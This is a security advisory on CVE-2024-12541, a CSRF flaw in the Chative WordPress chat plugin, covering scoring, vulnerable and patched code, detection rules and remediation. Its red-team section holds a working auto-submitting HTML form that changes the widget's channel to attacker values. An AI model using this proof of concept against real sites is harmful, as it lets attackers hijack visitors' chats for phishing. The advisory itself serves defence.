CVE-2024-12541

Executive Summary

CVE-2024-12541 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Chative Live chat and Chatbot plugin for WordPress, up to and including version 1.1. The vulnerability resides in the add_chative_widget_action() function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge a request that, when triggered by a logged-in administrator (e.g., via a malicious link), can change the channel ID or organization ID associated with the live chat widget. The impact is a redirection of the live chat widget to an attacker-controlled channel, potentially enabling social engineering, data exfiltration, or phishing attacks against site visitors.

This is a WordPress ecosystem issue; the plugin is a third-party component for WordPress, not a core server vulnerability.

Supply Chain & Package Security

This vulnerability is specific to the Chative WordPress plugin. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress sites using this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must click a link)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (widget redirection)
• Availability Impact: Low (widget misconfiguration)

The threat level is medium due to the requirement for user interaction (admin click) and the limited impact (widget redirection). However, the potential for social engineering against site visitors elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the WordPress plugin's AJAX handler. The add_chative_widget_action() function is registered to handle requests for updating the widget's channel ID and organization ID. The function does not verify a nonce (a one-time token) before processing the request. This means an attacker can craft a malicious HTML page or link that, when visited by an authenticated admin, sends a forged POST request to the WordPress admin AJAX endpoint.

The request would look like:

POST /wp-admin/admin-ajax.php
action=add_chative_widget_action
channel_id=attacker_channel
organization_id=attacker_org

Since the admin's browser automatically includes their session cookies, the request is processed as if it came from the admin. The plugin then updates the widget settings, redirecting all live chat traffic to the attacker's channel.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.1):

add_action('wp_ajax_add_chative_widget_action', 'add_chative_widget_action');
function add_chative_widget_action() {
    // No nonce check
    $channel_id = sanitize_text_field($_POST['channel_id']);
    $organization_id = sanitize_text_field($_POST['organization_id']);
    update_option('chative_channel_id', $channel_id);
    update_option('chative_organization_id', $organization_id);
    wp_die();
}

Patched Code (hypothetical fix):

add_action('wp_ajax_add_chative_widget_action', 'add_chative_widget_action');
function add_chative_widget_action() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'chative_widget_nonce')) {
        wp_die('CSRF validation failed.');
    }
    $channel_id = sanitize_text_field($_POST['channel_id']);
    $organization_id = sanitize_text_field($_POST['organization_id']);
    update_option('chative_channel_id', $channel_id);
    update_option('chative_organization_id', $organization_id);
    wp_die();
}

The patch adds a nonce check using wp_verify_nonce(), which ensures the request originated from the admin's session and was intentionally submitted.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Chative plugin version <= 1.1.
• An authenticated admin session (the attacker must trick the admin into clicking a link).

Exploitation Steps:

1. Craft a malicious HTML page that auto-submits a form to the target WordPress site.
2. Host the page on an attacker-controlled server or use a phishing email.
3. The admin visits the page, which triggers the CSRF request.
4. The widget's channel ID and organization ID are changed to attacker-controlled values.

Example Malicious HTML:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="add_chative_widget_action">
    <input type="hidden" name="channel_id" value="attacker_channel">
    <input type="hidden" name="organization_id" value="attacker_org">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Blue Team

Detection Steps:

1. Monitor for unusual changes to the chative_channel_id and chative_organization_id options in the WordPress database.
2. Review server logs for POST requests to /wp-admin/admin-ajax.php with action=add_chative_widget_action from unexpected referrers.
3. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php that lack a valid nonce parameter.

Honeypot Strategy:

• Deploy a decoy WordPress site with the vulnerable plugin and monitor for CSRF attempts.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=add_chative_widget_action and parameters channel_id and organization_id.
  • Referrer headers from external domains (e.g., attacker-controlled sites).
• Host:
  • Changes to WordPress options chative_channel_id and chative_organization_id in the wp_options table.
  • Unexpected modifications to the plugin's settings in the WordPress admin dashboard.
• Logs:
  • WordPress debug log entries showing add_chative_widget_action being called without a nonce.

Detection Engineering

YARA Rule

rule CVE_2024_12541_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against Chative plugin CVE-2024-12541"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12541"
    strings:
        $action = "add_chative_widget_action"
        $channel = "channel_id"
        $org = "organization_id"
    condition:
        all of them
}

Sigma Rule

title: Chative Plugin CSRF Exploit Attempt
id: 8f7b3c2a-1d5e-4f6a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects POST requests to WordPress admin-ajax.php with Chative widget action
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=add_chative_widget_action'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-12541 Chative Plugin CSRF Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=add_chative_widget_action"; http_client_body;
    content:"channel_id"; http_client_body;
    content:"organization_id"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-12541;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: If a patched version becomes available, update immediately.
2. Disable the plugin: If no patch is available, disable the Chative plugin until a fix is released.
3. Implement CSRF protection: Add a nonce check to the vulnerable function (see patched code above).

Long-term Mitigations:

• Use a Web Application Firewall (WAF) to block requests to admin-ajax.php without a valid nonce.
• Educate administrators about phishing attacks that trick them into clicking malicious links.
• Monitor WordPress logs for unusual AJAX requests.

Workaround:

• Add the following code to the theme's functions.php to enforce nonce validation:

add_action('wp_ajax_add_chative_widget_action', 'custom_chative_csrf_check', 1);
function custom_chative_csrf_check() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'chative_widget_nonce')) {
        wp_die('CSRF validation failed.');
    }
}

Valters IT
Securing Digital Frontiers